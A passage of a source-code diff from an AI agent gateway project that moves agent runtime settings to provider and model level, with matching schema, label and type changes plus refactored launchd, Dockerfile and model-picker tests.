multi-profile provider credentials and cooldown-based failover ordering. Keep profiles minimal and explicit so automatic failover behavior stays auditable.", "channels.matrix.allowBots": 'Allow messages from other configured Matrix bot accounts to trigger replies (default: false). Set "mentions" to only accept bot messages that visibly mention this bot.', @@ -1015,6 +1023,10 @@ export const FIELD_HELP: Record = { 'Include absolute timestamps in message envelopes ("on" or "off").', "agents.defaults.envelopeElapsed": 'Include elapsed time in message envelopes ("on" or "off").', "agents.defaults.models": "Configured model catalog (keys are full provider/model IDs).", + "agents.defaults.models.*.agentRuntime": + "Optional per-model runtime policy for the default agent. Use this for model-specific runtime exceptions instead of setting a whole-agent runtime.", + "agents.defaults.models.*.agentRuntime.id": + 'Default-agent model runtime id: "pi", "auto", a registered plugin harness id such as "codex", or a supported CLI backend alias such as "claude-cli".', "agents.defaults.memorySearch": "Vector search over MEMORY.md and memory/*.md (per-agent overrides supported).", "agents.defaults.memorySearch.enabled": @@ -1263,19 +1275,26 @@ export const FIELD_HELP: Record = { "agents.defaults.model.fallbacks": "Ordered fallback models (provider/model). Used when the primary model fails.", "agents.defaults.agentRuntime": - "Default agent runtime policy. Omitted id uses built-in OpenClaw Pi. Use id=auto for plugin harness selection, a registered harness id such as codex, or a supported CLI backend alias such as claude-cli.", + "Legacy whole-agent runtime policy. It is ignored by runtime selection; configure runtime policy on a provider or model instead. Run openclaw doctor --fix to remove stale values.", "agents.defaults.agentRuntime.id": - "Agent runtime id: pi, auto, a registered plugin harness id such as codex, or a supported CLI backend alias such as claude-cli. Omitted id uses built-in OpenClaw Pi.", + "Legacy whole-agent runtime id. It is ignored by runtime selection; configure models.providers..agentRuntime.id or a model-specific agentRuntime.id instead.", "agents.defaults.embeddedHarness": - "Legacy input for agents.defaults.agentRuntime. Run openclaw doctor --fix to rewrite it to agentRuntime.", - "agents.defaults.embeddedHarness.runtime": "Legacy input for agents.defaults.agentRuntime.id.", + "Legacy whole-agent embedded harness input. Run openclaw doctor --fix to remove it and use provider/model runtime policy where needed.", + "agents.defaults.embeddedHarness.runtime": + "Legacy whole-agent embedded harness runtime. Runtime selection ignores it; use provider/model runtime policy.", + "agents.list.*.models": "Per-agent model catalog overrides keyed by full provider/model IDs.", + "agents.list.*.models.*.agentRuntime": + "Optional per-model runtime policy for this agent. Use this for agent-specific model exceptions instead of setting a whole-agent runtime.", + "agents.list.*.models.*.agentRuntime.id": + 'Per-agent model runtime id: "pi", "auto", a registered plugin harness id such as "codex", or a supported CLI backend alias such as "claude-cli".', "agents.list.*.agentRuntime": - "Per-agent agent runtime policy override. Use id=codex to force Codex for one agent while defaults stay in auto mode.", + "Legacy per-agent runtime policy. It is ignored by runtime selection; configure provider/model runtime policy instead. Run openclaw doctor --fix to remove stale values.", "agents.list.*.agentRuntime.id": - "Per-agent agent runtime id: pi, auto, a registered plugin harness id such as codex, or a supported CLI backend alias such as claude-cli. Omitted id inherits the default OpenClaw Pi behavior.", + "Legacy per-agent runtime id. It is ignored by runtime selection; configure a provider/model runtime id instead.", "agents.list.*.embeddedHarness": - "Legacy input for agents.list.*.agentRuntime. Run openclaw doctor --fix to rewrite it to agentRuntime.", - "agents.list.*.embeddedHarness.runtime": "Legacy input for agents.list.*.agentRuntime.id.", + "Legacy per-agent embedded harness input. Run openclaw doctor --fix to remove it and use provider/model runtime policy where needed.", + "agents.list.*.embeddedHarness.runtime": + "Legacy per-agent embedded harness runtime. Runtime selection ignores it; use provider/model runtime policy.", "agents.defaults.imageModel.primary": "Optional image model (provider/model) used when the primary model lacks image input.", "agents.defaults.imageModel.fallbacks": "Ordered fallback image models (provider/model).", diff --git a/src/config/schema.labels.ts b/src/config/schema.labels.ts index b96e19b2c78..531f818795d 100644 --- a/src/config/schema.labels.ts +++ b/src/config/schema.labels.ts @@ -86,8 +86,8 @@ export const FIELD_LABELS: Record = { "agents.defaults.contextLimits.memoryGetDefaultLines": "Default memory_get Line Window", "agents.defaults.contextLimits.toolResultMaxChars": "Default Tool Result Max Chars", "agents.defaults.contextLimits.postCompactionMaxChars": "Default Post-compaction Max Chars", - "agents.defaults.agentRuntime": "Default Agent Runtime Settings", - "agents.defaults.agentRuntime.id": "Default Agent Runtime", + "agents.defaults.agentRuntime": "Legacy Default Agent Runtime", + "agents.defaults.agentRuntime.id": "Legacy Default Agent Runtime ID", "agents.defaults.embeddedHarness": "Default Legacy Embedded Harness Settings", "agents.defaults.embeddedHarness.runtime": "Default Legacy Embedded Harness Runtime", "agents.list": "Agent List", @@ -98,8 +98,11 @@ export const FIELD_LABELS: Record = { "agents.list[].contextLimits.memoryGetDefaultLines": "Agent memory_get Line Window", "agents.list[].contextLimits.toolResultMaxChars": "Agent Tool Result Max Chars", "agents.list[].contextLimits.postCompactionMaxChars": "Agent Post-compaction Max Chars", - "agents.list.*.agentRuntime": "Agent Runtime", - "agents.list.*.agentRuntime.id": "Agent Runtime", + "agents.list.*.models": "Agent Model Overrides", + "agents.list.*.models.*.agentRuntime": "Agent Model Runtime", + "agents.list.*.models.*.agentRuntime.id": "Agent Model Runtime ID", + "agents.list.*.agentRuntime": "Legacy Agent Runtime", + "agents.list.*.agentRuntime.id": "Legacy Agent Runtime ID", "agents.list.*.embeddedHarness": "Agent Legacy Embedded Harness", "agents.list.*.embeddedHarness.runtime": "Agent Legacy Embedded Harness Runtime", gateway: "Gateway", @@ -538,6 +541,8 @@ export const FIELD_LABELS: Record = { "models.providers.*.params": "Model Provider Runtime Parameters", "models.providers.*.headers": "Model Provider Headers", "models.providers.*.authHeader": "Model Provider Authorization Header", + "models.providers.*.agentRuntime": "Model Provider Runtime", + "models.providers.*.agentRuntime.id": "Model Provider Runtime ID", "models.providers.*.request": "Model Provider Request Overrides", "models.providers.*.request.headers": "Model Provider Request Headers", "models.providers.*.request.auth": "Model Provider Request Auth Override", @@ -566,6 +571,8 @@ export const FIELD_LABELS: Record = { "models.providers.*.request.tls.insecureSkipVerify": "Model Provider Request TLS Skip Verify", "models.providers.*.request.allowPrivateNetwork": "Model Provider Request Allow Private Network", "models.providers.*.models": "Model Provider Model List", + "models.providers.*.models[].agentRuntime": "Model Runtime", + "models.providers.*.models[].agentRuntime.id": "Model Runtime ID", "auth.cooldowns.billingBackoffHours": "Billing Backoff (hours)", "auth.cooldowns.billingBackoffHoursByProvider": "Billing Backoff Overrides", "auth.cooldowns.billingMaxHours": "Billing Backoff Cap (hours)", @@ -576,6 +583,8 @@ export const FIELD_LABELS: Record = { "auth.cooldowns.overloadedBackoffMs": "Overloaded Backoff (ms)", "auth.cooldowns.rateLimitedProfileRotations": "Rate-Limited Profile Rotations", "agents.defaults.models": "Models", + "agents.defaults.models.*.agentRuntime": "Default Agent Model Runtime", + "agents.defaults.models.*.agentRuntime.id": "Default Agent Model Runtime ID", "agents.defaults.model.primary": "Primary Model", "agents.defaults.model.fallbacks": "Model Fallbacks", "agents.defaults.imageModel.primary": "Image Model", diff --git a/src/config/schema.test.ts b/src/config/schema.test.ts index c74535405b5..748ebe16a3c 100644 --- a/src/config/schema.test.ts +++ b/src/config/schema.test.ts @@ -475,7 +475,7 @@ describe("config schema", () => { const lookup = lookupConfigSchema(baseSchema, "gateway.auth"); expect(lookup?.path).toBe("gateway.auth"); expect(lookup?.hintPath).toBe("gateway.auth"); - expect(lookup?.children.some((child) => child.key === "token")).toBe(true); + expect(lookup?.children.map((child) => child.key)).toContain("token"); const tokenChild = lookup?.children.find((child) => child.key === "token"); expect(tokenChild?.path).toBe("gateway.auth.token"); expect(tokenChild?.hint?.sensitive).toBe(true); diff --git a/src/config/types.agent-defaults.ts b/src/config/types.agent-defaults.ts index 81de0a52bea..f0658f86b0d 100644 --- a/src/config/types.agent-defaults.ts +++ b/src/config/types.agent-defaults.ts @@ -34,6 +34,8 @@ export type AgentModelEntryConfig = { alias?: string; /** Provider-specific API parameters (e.g., GLM-4.7 thinking mode). */ params?: Record; + /** Optional agent execution runtime for this specific provider/model entry. */ + agentRuntime?: AgentRuntimePolicyConfig; /** Enable streaming for this model (default: true, false for Ollama to avoid SDK issue #1205). */ streaming?: boolean; }; diff --git a/src/config/types.agents.ts b/src/config/types.agents.ts index f6b5a46d3a1..0ad77be4293 100644 --- a/src/config/types.agents.ts +++ b/src/config/types.agents.ts @@ -2,6 +2,7 @@ import type { ChatType } from "../channels/chat-type.js"; import type { AgentContextLimitsConfig, AgentDefaultsConfig, + AgentModelEntryConfig, EmbeddedPiExecutionContract, } from "./types.agent-defaults.js"; import type { @@ -86,6 +87,8 @@ export type AgentConfig = { /** @deprecated Use agentRuntime. */ embeddedHarness?: AgentEmbeddedHarnessConfig; model?: AgentModelConfig; + /** Per-model metadata overrides for this agent. */ + models?: Record; /** Optional per-agent default thinking level (overrides agents.defaults.thinkingDefault). */ thinkingDefault?: "off" | "minimal" | "low" | "medium" | "high" | "xhigh" | "adaptive" | "max"; /** Optional per-agent default verbosity level. */ diff --git a/src/config/types.models.ts b/src/config/types.models.ts index 9b524a5a7c2..ff1ef052176 100644 --- a/src/config/types.models.ts +++ b/src/config/types.models.ts @@ -3,6 +3,7 @@ import type { OpenAICompletionsCompat, OpenAIResponsesCompat, } from "@mariozechner/pi-ai"; +import type { AgentRuntimePolicyConfig } from "./types.agents-shared.js"; import type { ConfiguredModelProviderRequest } from "./types.provider-request.js"; import type { SecretInput } from "./types.secrets.js"; @@ -109,6 +110,8 @@ export type ModelDefinitionConfig = { maxTokens: number; /** Provider-specific request/runtime parameters passed through to provider plugins. */ params?: Record; + /** Optional agent execution runtime override for this provider/model pair. */ + agentRuntime?: AgentRuntimePolicyConfig; headers?: Record; compat?: ModelCompatConfig; metadataSource?: "models-add"; @@ -126,6 +129,8 @@ export type ModelProviderConfig = { injectNumCtxForOpenAICompat?: boolean; /** Provider-specific runtime parameters interpreted by provider plugins. */ params?: Record; + /** Optional default agent execution runtime for models under this provider. */ + agentRuntime?: AgentRuntimePolicyConfig; headers?: Record; authHeader?: boolean; request?: ConfiguredModelProviderRequest; diff --git a/src/config/zod-schema.agent-defaults.ts b/src/config/zod-schema.agent-defaults.ts index 385f3aafbab..2f2a99655fd 100644 --- a/src/config/zod-schema.agent-defaults.ts +++ b/src/config/zod-schema.agent-defaults.ts @@ -70,6 +70,7 @@ export const AgentDefaultsSchema = z alias: z.string().optional(), /** Provider-specific API parameters (e.g., GLM-4.7 thinking mode). */ params: z.record(z.string(), z.unknown()).optional(), + agentRuntime: AgentRuntimePolicySchema, /** Enable streaming for this model (default: true, false for Ollama to avoid SDK issue #1205). */ streaming: z.boolean().optional(), }) diff --git a/src/config/zod-schema.agent-runtime.ts b/src/config/zod-schema.agent-runtime.ts index daa2f0116c2..72d477a772b 100644 --- a/src/config/zod-schema.agent-runtime.ts +++ b/src/config/zod-schema.agent-runtime.ts @@ -847,6 +847,19 @@ export const AgentEntrySchema = z agentRuntime: AgentRuntimePolicySchema, embeddedHarness: AgentEmbeddedHarnessSchema, model: AgentModelSchema.optional(), + models: z + .record( + z.string(), + z + .object({ + alias: z.string().optional(), + params: z.record(z.string(), z.unknown()).optional(), + agentRuntime: AgentRuntimePolicySchema, + streaming: z.boolean().optional(), + }) + .strict(), + ) + .optional(), thinkingDefault: z .enum(["off", "minimal", "low", "medium", "high", "xhigh", "adaptive", "max"]) .optional(), diff --git a/src/config/zod-schema.core.ts b/src/config/zod-schema.core.ts index 9e7885537b6..4a7b8285052 100644 --- a/src/config/zod-schema.core.ts +++ b/src/config/zod-schema.core.ts @@ -305,6 +305,13 @@ const ConfiguredModelProviderRequestSchema = z .strict() .optional(); +const ModelAgentRuntimePolicySchema = z + .object({ + id: z.string().optional(), + }) + .strict() + .optional(); + const ModelDefinitionSchema = z .object({ id: z.string().min(1), @@ -343,6 +350,7 @@ const ModelDefinitionSchema = z contextTokens: z.number().int().positive().optional(), maxTokens: z.number().positive().optional(), params: z.record(z.string(), z.unknown()).optional(), + agentRuntime: ModelAgentRuntimePolicySchema, headers: z.record(z.string(), z.string()).optional(), compat: ModelCompatSchema, metadataSource: z.literal("models-add").optional(), @@ -363,6 +371,7 @@ const ModelProviderSchema = z timeoutSeconds: z.number().int().positive().optional(), injectNumCtxForOpenAICompat: z.boolean().optional(), params: z.record(z.string(), z.unknown()).optional(), + agentRuntime: ModelAgentRuntimePolicySchema, headers: z.record(z.string(), SecretInputSchema.register(sensitive)).optional(), authHeader: z.boolean().optional(), request: ConfiguredModelProviderRequestSchema, diff --git a/src/cron/isolated-agent/run-executor.ts b/src/cron/isolated-agent/run-executor.ts index ceb5a864d1b..51e58d7181e 100644 --- a/src/cron/isolated-agent/run-executor.ts +++ b/src/cron/isolated-agent/run-executor.ts @@ -141,6 +141,7 @@ export function createCronPromptExecutor(params: { provider: providerOverride, cfg: params.cfgWithAgentDefaults, agentId: params.agentId, + modelId: modelOverride, }) ?? providerOverride; const bootstrapPromptWarningSignature = bootstrapPromptWarningSignaturesSeen[bootstrapPromptWarningSignaturesSeen.length - 1]; diff --git a/src/cron/isolated-agent/run.payload-fallbacks.test.ts b/src/cron/isolated-agent/run.payload-fallbacks.test.ts index f131718ec17..966baf367c4 100644 --- a/src/cron/isolated-agent/run.payload-fallbacks.test.ts +++ b/src/cron/isolated-agent/run.payload-fallbacks.test.ts @@ -84,11 +84,14 @@ describe("runCronIsolatedAgentTurn — payload.fallbacks", () => { cfg: { agents: { defaults: { - agentRuntime: { id: "claude-cli" }, model: { primary: "anthropic/claude-opus-4-6", fallbacks: ["anthropic/claude-sonnet-4-6"], }, + models: { + "anthropic/claude-opus-4-6": { agentRuntime: { id: "claude-cli" } }, + "anthropic/claude-sonnet-4-6": { agentRuntime: { id: "claude-cli" } }, + }, }, }, }, diff --git a/src/cron/isolated-agent/run.ts b/src/cron/isolated-agent/run.ts index 41c20851136..6cf6f1a0b02 100644 --- a/src/cron/isolated-agent/run.ts +++ b/src/cron/isolated-agent/run.ts @@ -746,8 +746,6 @@ async function prepareCronRunContext(params: { agentId, sessionKey: agentSessionKey, }).runtime, - sessionAgentHarnessId: cronSession.sessionEntry.agentHarnessId, - sessionAgentRuntimeOverride: cronSession.sessionEntry.agentRuntimeOverride, }), agentDir, sessionEntry: cronSession.sessionEntry, diff --git a/src/cron/service.main-job-passes-heartbeat-target-last.test.ts b/src/cron/service.main-job-passes-heartbeat-target-last.test.ts index 5e9c43e8a17..a19f517a993 100644 --- a/src/cron/service.main-job-passes-heartbeat-target-last.test.ts +++ b/src/cron/service.main-job-passes-heartbeat-target-last.test.ts @@ -50,10 +50,11 @@ describe("cron main job passes heartbeat target=last", () => { runHeartbeatOnce: ReturnType>, ) { const callArgs = runHeartbeatOnce.mock.calls[0]?.[0]; - if (!callArgs?.heartbeat) { + const heartbeat = callArgs?.heartbeat; + if (!callArgs || !heartbeat) { throw new Error("expected runHeartbeatOnce call with heartbeat config"); } - return callArgs; + return { ...callArgs, heartbeat }; } async function runSingleTick(cron: CronService) { diff --git a/src/cron/service/timer.regression.test.ts b/src/cron/service/timer.regression.test.ts index 6f18a740423..67e82ae9e77 100644 --- a/src/cron/service/timer.regression.test.ts +++ b/src/cron/service/timer.regression.test.ts @@ -30,7 +30,7 @@ const timerRegressionFixtures = setupCronRegressionFixtures({ prefix: "cron-service-timer-regressions-", }); -function requireJob(state: { store?: { jobs?: CronJob[] } }, id: string): CronJob { +function requireJob(state: { store?: { jobs?: CronJob[] } | null }, id: string): CronJob { const job = state.store?.jobs?.find((candidate) => candidate.id === id); if (!job) { throw new Error(`expected cron job ${id}`); diff --git a/src/daemon/launchd.test.ts b/src/daemon/launchd.test.ts index 3ebccce75b2..01aa3fadd2a 100644 --- a/src/daemon/launchd.test.ts +++ b/src/daemon/launchd.test.ts @@ -109,6 +109,10 @@ async function expectRestartLaunchAgentKickstartFailure( ).rejects.toThrow("launchctl kickstart failed: Input/output error"); } +function launchctlCommandNames(): string[] { + return state.launchctlCalls.map(([command]) => command ?? ""); +} + function normalizeLaunchctlArgs(file: string, args: string[]): string[] { if (file === "launchctl") { return args; @@ -400,7 +404,7 @@ describe("launchd bootstrap repair", () => { expect(repair).toEqual({ ok: true, status: "repaired" }); expectLaunchctlEnableBootstrapOrder(env); - expect(state.launchctlCalls.some((call) => call[0] === "kickstart")).toBe(false); + expect(launchctlCommandNames()).not.toContain("kickstart"); }); it("treats bootstrap exit 130 as success and nudges the already-loaded service when stopped", async () => { @@ -426,7 +430,7 @@ describe("launchd bootstrap repair", () => { const repair = await repairLaunchAgentBootstrap({ env }); expect(repair).toEqual({ ok: true, status: "already-loaded" }); - expect(state.launchctlCalls.some((call) => call[0] === "kickstart")).toBe(false); + expect(launchctlCommandNames()).not.toContain("kickstart"); }); it("treats 'already exists in domain' bootstrap failures as success and nudges the service when stopped", async () => { @@ -455,7 +459,7 @@ describe("launchd bootstrap repair", () => { status: "bootstrap-failed", detail: expect.stringContaining("Could not find specified service"), }); - expect(state.launchctlCalls.some((call) => call[0] === "kickstart")).toBe(false); + expect(launchctlCommandNames()).not.toContain("kickstart"); }); it("returns a typed kickstart failure when already-loaded recovery cannot nudge the service", async () => { @@ -637,8 +641,8 @@ describe("launchd install", () => { const domain = typeof process.getuid === "function" ? `gui/${process.getuid()}` : "gui/501"; const serviceId = `${domain}/ai.openclaw.gateway`; expect(state.launchctlCalls).toContainEqual(["bootout", serviceId]); - expect(state.launchctlCalls.some((call) => call[0] === "disable")).toBe(false); - expect(state.launchctlCalls.some((call) => call[0] === "stop")).toBe(false); + expect(launchctlCommandNames()).not.toContain("disable"); + expect(launchctlCommandNames()).not.toContain("stop"); expect(output).toContain("Stopped LaunchAgent"); }); @@ -656,7 +660,7 @@ describe("launchd install", () => { const serviceId = `${domain}/ai.openclaw.gateway`; expect(state.launchctlCalls).toContainEqual(["disable", serviceId]); expect(state.launchctlCalls).toContainEqual(["stop", "ai.openclaw.gateway"]); - expect(state.launchctlCalls.some((call) => call[0] === "bootout")).toBe(false); + expect(launchctlCommandNames()).not.toContain("bootout"); expect(output).toContain("Stopped LaunchAgent"); }); @@ -678,7 +682,7 @@ describe("launchd install", () => { "disable", `${typeof process.getuid === "function" ? `gui/${process.getuid()}` : "gui/501"}/ai.openclaw.gateway`, ]); - expect(state.launchctlCalls.some((call) => call[0] === "bootout")).toBe(false); + expect(launchctlCommandNames()).not.toContain("bootout"); expect(output).toContain("Stopped LaunchAgent"); expect(output).not.toContain("degraded"); }); @@ -695,7 +699,7 @@ describe("launchd install", () => { await stopLaunchAgent({ env, stdout }); - expect(state.launchctlCalls.some((call) => call[0] === "disable")).toBe(false); + expect(launchctlCommandNames()).not.toContain("disable"); expect(output).toContain("Stopped LaunchAgent"); expect(output).not.toContain("degraded"); }); @@ -711,8 +715,8 @@ describe("launchd install", () => { await stopLaunchAgent({ env, stdout, disable: true }); - expect(state.launchctlCalls.some((call) => call[0] === "stop")).toBe(false); - expect(state.launchctlCalls.some((call) => call[0] === "bootout")).toBe(true); + expect(launchctlCommandNames()).not.toContain("stop"); + expect(launchctlCommandNames()).toContain("bootout"); expect(output).toContain("Stopped LaunchAgent (degraded)"); expect(output).toContain("used bootout fallback"); }); @@ -728,8 +732,8 @@ describe("launchd install", () => { await runStopLaunchAgentWithFakeTimers({ env, stdout, disable: true }); - expect(state.launchctlCalls.some((call) => call[0] === "stop")).toBe(true); - expect(state.launchctlCalls.some((call) => call[0] === "bootout")).toBe(true); + expect(launchctlCommandNames()).toContain("stop"); + expect(launchctlCommandNames()).toContain("bootout"); expect(output).toContain("Stopped LaunchAgent (degraded)"); expect(output).toContain("did not fully stop the service"); }); @@ -746,7 +750,7 @@ describe("launchd install", () => { await runStopLaunchAgentWithFakeTimers({ env, stdout, disable: true }); - expect(state.launchctlCalls.some((call) => call[0] === "bootout")).toBe(true); + expect(launchctlCommandNames()).toContain("bootout"); expect(output).toContain("Stopped LaunchAgent (degraded)"); expect(output).toContain("did not fully stop the service"); }); @@ -762,7 +766,7 @@ describe("launchd install", () => { await stopLaunchAgent({ env, stdout, disable: true }); - expect(state.launchctlCalls.some((call) => call[0] === "bootout")).toBe(true); + expect(launchctlCommandNames()).toContain("bootout"); expect(output).toContain("Stopped LaunchAgent (degraded)"); expect(output).toContain("launchctl stop failed; used bootout fallback"); }); @@ -779,7 +783,7 @@ describe("launchd install", () => { await runStopLaunchAgentWithFakeTimers({ env, stdout, disable: true }); - expect(state.launchctlCalls.some((call) => call[0] === "bootout")).toBe(true); + expect(launchctlCommandNames()).toContain("bootout"); expect(output).toContain("Stopped LaunchAgent (degraded)"); expect(output).toContain("could not confirm stop"); }); @@ -805,8 +809,8 @@ describe("launchd install", () => { await expect(stopLaunchAgent({ env, stdout: new PassThrough() })).rejects.toThrow( "launchctl bootout failed: launchctl bootout permission denied", ); - expect(state.launchctlCalls.some((call) => call[0] === "disable")).toBe(false); - expect(state.launchctlCalls.some((call) => call[0] === "stop")).toBe(false); + expect(launchctlCommandNames()).not.toContain("disable"); + expect(launchctlCommandNames()).not.toContain("stop"); }); it("sanitizes launchctl details before writing warnings (--disable)", async () => { @@ -842,8 +846,8 @@ describe("launchd install", () => { expect(cleanStaleGatewayProcessesSync).toHaveBeenCalledWith(18789); expect(state.launchctlCalls).toContainEqual(["enable", serviceId]); expect(state.launchctlCalls).toContainEqual(["kickstart", "-k", serviceId]); - expect(state.launchctlCalls.some((call) => call[0] === "bootout")).toBe(false); - expect(state.launchctlCalls.some((call) => call[0] === "bootstrap")).toBe(false); + expect(launchctlCommandNames()).not.toContain("bootout"); + expect(launchctlCommandNames()).not.toContain("bootstrap"); }); it("uses the configured gateway port for stale cleanup", async () => { @@ -889,10 +893,10 @@ describe("launchd install", () => { ); expect(result).toEqual({ outcome: "completed" }); - expect(state.launchctlCalls.some((call) => call[0] === "enable")).toBe(true); - expect(state.launchctlCalls.some((call) => call[0] === "bootstrap")).toBe(true); + expect(launchctlCommandNames()).toContain("enable"); + expect(launchctlCommandNames()).toContain("bootstrap"); expect(kickstartCalls).toHaveLength(1); - expect(state.launchctlCalls.some((call) => call[0] === "bootout")).toBe(false); + expect(launchctlCommandNames()).not.toContain("bootout"); }); it("surfaces the original kickstart failure when the service is still loaded", async () => { @@ -902,8 +906,8 @@ describe("launchd install", () => { await expectRestartLaunchAgentKickstartFailure(env); - expect(state.launchctlCalls.some((call) => call[0] === "enable")).toBe(true); - expect(state.launchctlCalls.some((call) => call[0] === "bootstrap")).toBe(false); + expect(launchctlCommandNames()).toContain("enable"); + expect(launchctlCommandNames()).not.toContain("bootstrap"); }); it("re-bootstraps when kickstart failure leaves the service unloaded (#52208)", async () => { @@ -914,8 +918,8 @@ describe("launchd install", () => { await expectRestartLaunchAgentKickstartFailure(env); - expect(state.launchctlCalls.some((call) => call[0] === "enable")).toBe(true); - expect(state.launchctlCalls.some((call) => call[0] === "bootstrap")).toBe(true); + expect(launchctlCommandNames()).toContain("enable"); + expect(launchctlCommandNames()).toContain("bootstrap"); }); it("skips re-bootstrap when kickstart fails but service is still loaded (#52208)", async () => { @@ -925,8 +929,8 @@ describe("launchd install", () => { await expectRestartLaunchAgentKickstartFailure(env); - expect(state.launchctlCalls.some((call) => call[0] === "enable")).toBe(true); - expect(state.launchctlCalls.some((call) => call[0] === "bootstrap")).toBe(false); + expect(launchctlCommandNames()).toContain("enable"); + expect(launchctlCommandNames()).not.toContain("bootstrap"); }); it("hands restart off to a detached helper when invoked from the current LaunchAgent", async () => { diff --git a/src/daemon/service-audit.test.ts b/src/daemon/service-audit.test.ts index e9297cb05d4..06b0b750eb2 100644 --- a/src/daemon/service-audit.test.ts +++ b/src/daemon/service-audit.test.ts @@ -74,9 +74,7 @@ describe("auditGatewayServiceConfig", () => { environment: { PATH: "/usr/bin:/bin" }, }, }); - expect(audit.issues.some((issue) => issue.code === SERVICE_AUDIT_CODES.gatewayRuntimeBun)).toBe( - true, - ); + expect(hasIssue(audit, SERVICE_AUDIT_CODES.gatewayRuntimeBun)).toBe(true); }); it("flags version-managed node paths", async () => { diff --git a/src/daemon/service-env.test.ts b/src/daemon/service-env.test.ts index 37ce0574272..baef93dc5f5 100644 --- a/src/daemon/service-env.test.ts +++ b/src/daemon/service-env.test.ts @@ -47,11 +47,6 @@ describe("getMinimalServicePathParts - Linux user directories", () => { // Should only include system directories expect(result).toEqual(["/usr/local/bin", "/usr/bin", "/bin"]); - - // Should not include any user-specific paths - expect(result.some((p) => p.includes(".local"))).toBe(false); - expect(result.some((p) => p.includes(".npm-global"))).toBe(false); - expect(result.some((p) => p.includes(".nvm"))).toBe(false); }); it("places user directories before system directories on Linux", () => { @@ -119,7 +114,6 @@ describe("getMinimalServicePathParts - Linux user directories", () => { }); expect(result).toEqual(["/usr/local/bin", "/usr/bin", "/bin", "/usr/sbin", "/sbin"]); - expect(result.some((entry) => entry.startsWith("/Users/testuser/"))).toBe(false); }); it("can include env-configured version manager dirs on macOS when requested", () => { @@ -496,9 +490,6 @@ describe("buildMinimalServicePath", () => { // Should only have system directories expect(parts).toEqual(["/usr/local/bin", "/usr/bin", "/bin"]); - - // No user-specific paths - expect(parts.some((p) => p.includes("home"))).toBe(false); }); it("ensures user directories come before system directories on Linux", () => { diff --git a/src/dockerfile.test.ts b/src/dockerfile.test.ts index ef7e2d35f88..2ef7dfa5a5a 100644 --- a/src/dockerfile.test.ts +++ b/src/dockerfile.test.ts @@ -47,7 +47,7 @@ describe("Dockerfile", () => { expect(collapsed).toContain("update-ca-certificates"); }); - it("installs python3 in the slim runtime stage for workspace scripts", async () => { + it("installs python3 and tini in the slim runtime stage", async () => { const dockerfile = collapseDockerContinuations(await readFile(dockerfilePath, "utf8")); const runtimeIndex = dockerfile.indexOf( "FROM ${OPENCLAW_NODE_BOOKWORM_SLIM_IMAGE} AS base-runtime", @@ -59,7 +59,10 @@ describe("Dockerfile", () => { expect(runtimeIndex).toBeGreaterThan(-1); expect(pythonInstallIndex).toBeGreaterThan(runtimeIndex); expect(pythonInstallIndex).toBeLessThan(dockerfile.indexOf("RUN chown node:node /app")); - expect(dockerfile).toContain("ca-certificates procps hostname curl git lsof openssl python3"); + expect(dockerfile).toContain( + "ca-certificates procps hostname curl git lsof openssl python3 tini", + ); + expect(dockerfile).toContain('ENTRYPOINT ["tini", "-s", "--"]'); }); it("installs optional browser dependencies after pnpm install", async () => { diff --git a/src/flows/model-picker.ts b/src/flows/model-picker.ts index 2f82facb8c6..b36de2fa8a7 100644 --- a/src/flows/model-picker.ts +++ b/src/flows/model-picker.ts @@ -13,6 +13,7 @@ import { buildModelAliasIndex, type ModelAliasIndex, modelKey, + normalizeModelRef, normalizeProviderId, resolveConfiguredModelRef, resolveModelRefFromString, @@ -20,6 +21,7 @@ import { import { loadStaticManifestCatalogRowsForList } from "../commands/models/list.manifest-catalog.js"; import { formatTokenK } from "../commands/models/shared.js"; import { + normalizeAgentModelRefForConfig, resolveAgentModelFallbackValues, resolveAgentModelPrimaryValue, } from "../config/model-input.js"; @@ -121,7 +123,7 @@ function normalizeModelKeys(values: string[]): string[] { const seen = new Set(); const next: string[] = []; for (const raw of values) { - const value = raw.trim(); + const value = normalizeAgentModelRefForConfig(raw); if (!value || seen.has(value)) { continue; } @@ -231,11 +233,12 @@ function addModelSelectOption(params: { hasAuth: (provider: string) => boolean; literalPrefixProviders: Set; }) { - const key = modelKey(params.entry.provider, params.entry.id); + const normalizedRef = normalizeModelRef(params.entry.provider, params.entry.id); + const key = modelKey(normalizedRef.provider, normalizedRef.model); if ( params.seen.has(key) || HIDDEN_ROUTER_MODELS.has(key) || - !isModelPickerVisibleProvider(params.entry.provider) + !isModelPickerVisibleProvider(normalizedRef.provider) ) { return; } @@ -253,15 +256,15 @@ function addModelSelectOption(params: { if (aliases?.length) { hints.push(`alias: ${aliases.join(", ")}`); } - const routeHint = resolveModelRouteHint(params.entry.provider); + const routeHint = resolveModelRouteHint(normalizedRef.provider); if (routeHint) { hints.push(routeHint); } - if (!params.hasAuth(params.entry.provider)) { + if (!params.hasAuth(normalizedRef.provider)) { return; } - const label = params.literalPrefixProviders.has(normalizeProviderId(params.entry.provider)) - ? `${params.entry.provider}/${params.entry.id}` + const label = params.literalPrefixProviders.has(normalizeProviderId(normalizedRef.provider)) + ? formatLiteralProviderPrefixedModelRef(normalizedRef.provider, key) : key; params.options.push({ value: key, @@ -368,7 +371,7 @@ async function promptManualModel(params: { if (!model) { return {}; } - return { model }; + return { model: normalizeAgentModelRefForConfig(model) }; } function buildModelProviderFilterOptions( @@ -850,7 +853,7 @@ export async function promptDefaultModel( return providerPluginResult; } - const model = selectedValue; + const model = normalizeAgentModelRefForConfig(selectedValue); const { runProviderModelSelectedHook } = await loadResolvedModelPickerRuntime(); await runProviderModelSelectedHook({ config: cfg, @@ -1224,6 +1227,8 @@ export function applyModelFallbacksFromSelection( : existingModel && typeof existingModel === "object" ? existingModel.primary : undefined; + const normalizedExistingPrimary = + existingPrimary != null ? normalizeAgentModelRefForConfig(existingPrimary) : undefined; const preservedModelFields = existingModel && typeof existingModel === "object" ? (({ fallbacks: _oldFallbacks, ...rest }) => rest)(existingModel) @@ -1258,7 +1263,7 @@ export function applyModelFallbacksFromSelection( }); const nextModel = { ...preservedModelFields, - ...(existingPrimary != null ? { primary: existingPrimary } : {}), + ...(normalizedExistingPrimary != null ? { primary: normalizedExistingPrimary } : {}), ...(fallbacks.length > 0 ? { fallbacks } : {}), }; if (Object.keys(nextModel).length === 0) { diff --git a/src/gateway/device-authz.test-helpers.ts b/src/gateway/device-authz.test-helpers.ts index 45d2e93626b..cdad81c0344 100644 --- a/src/gateway/device-authz.test-helpers.ts +++ b/src/gateway/device-authz.test-helpers.ts @@ -86,7 +86,9 @@ export async function issueOperatorToken(params: { }); expect(rotated.ok).toBe(true); const token = rotated.ok ? rotated.entry.token : ""; - 